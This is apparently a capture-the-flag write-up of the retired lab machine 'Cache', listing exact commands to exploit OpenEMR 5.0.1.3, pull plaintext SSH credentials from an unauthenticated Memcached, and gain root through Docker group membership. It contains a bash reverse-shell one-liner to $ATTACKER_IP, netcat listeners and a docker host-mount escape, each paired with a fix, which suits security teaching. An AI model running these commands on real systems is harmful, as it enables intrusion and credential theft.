jperezduerto.info
Cache
Summary
Scanning the web server discovered a hidden virtual host (hms.htb) referenced in a publicly exposed developer profile page. That host ran OpenEMR 5.0.1.3, which carries a publicly documented authentication bypass chained with SQL injection and an unrestricted file upload to achieve unauthenticated remote code execution as the Apache web server process.
From that foothold, internal port enumeration found an unauthenticated Memcached service on localhost that the application used to cache the cleartext SSH credentials of the local user 'luffy'. Logging in over SSH, I discovered that luffy belongs to the Docker group — a misconfiguration equivalent to granting unconditional root access — and mounted the entire host filesystem inside a container as UID 0, reading every file on the system without triggering a single privilege-escalation exploit.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
Service-version scan of both open ports.
$ nmap -sV -p22,80 --script banner $TARGET
22/tcp open ssh OpenSSH 7.6p1
80/tcp open http Apache httpdRegister the primary hostname for virtual-host resolution.
$ echo "$TARGET cache.htb" | sudo tee -a /etc/hostsExact commands 4
Extract the hms.htb hostname reference from the public page.
$ curl -sS http://$TARGET/author.html | grep -i -C3 -E 'hms|hospital|cache'Register the discovered virtual host.
$ echo "$TARGET hms.htb" | sudo tee -a /etc/hostsConfirm application identity and exact version number.
$ curl -sS http://hms.htb/admin.php | grep -iE 'OpenEMR|version'Check public exploit database for known vulnerabilities at this version.
$ searchsploit OpenEMR 5.0.1FixRemove internal hostnames and application references from public-facing pagesMedium
Exact commands 3
Start a listener on my machine before launching the exploit.
$ nc -lvnp 4444Run the exploit; replace $ATTACKER_IP with your machine's IP. Must be run with python2, not python3.
$ python2 /usr/share/exploitdb/exploits/php/webapps/45161.py http://hms.htb -u openemr_admin -p xxxxxx -c "bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'"Confirm shell identity and working directory after the shell connects.
$ id; hostname; pwd
uid=33(www-data) gid=33(www-data)FixUpgrade OpenEMR and restrict access to its administrative and portal interfacesCritical
Exact commands 3
Enumerate localhost-only listeners from the www-data shell; identifies Memcached on 11211.
$ ss -lntp 2>/dev/null || netstat -tulpn 2>/dev/nullList all cached keys in slab 1 without any authentication.
$ printf 'stats cachedump 1 0\r\nquit\r\n' | nc -w 3 127.0.0.1 11211Retrieve stored values; exposes luffy's password in plaintext.
$ printf 'get user\r\nget passwd\r\nget account\r\nget file\r\nget link\r\nquit\r\n' | nc -w 3 127.0.0.1 11211FixSecure Memcached with authentication and never cache plaintext credentialsCritical
Exact commands 2
Authenticate using password recovered from Memcached.
$ ssh luffy@$TARGETConfirm group membership; docker group membership is a direct path to root.
$ id
uid=1000(luffy) gid=1000(luffy) groups=1000(luffy),999(docker)Exact commands 3
List locally available images; ubuntu:latest was present on the host.
$ docker imagesMount host root, chroot as UID 0, and read ash's user flag. Flag value: <user.txt>
$ docker run --rm -v /:/mnt -u 0 ubuntu:latest chroot /mnt /bin/bash -c "id; cat /home/ash/user.txt"
uid=0(root)Read the root flag as host root via the same technique. Flag value: <root.txt>
$ docker run --rm -v /:/mnt -u 0 ubuntu:latest chroot /mnt /bin/bash -c "cat /root/root.txt"FixRemove all non-administrator accounts from the Docker groupCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.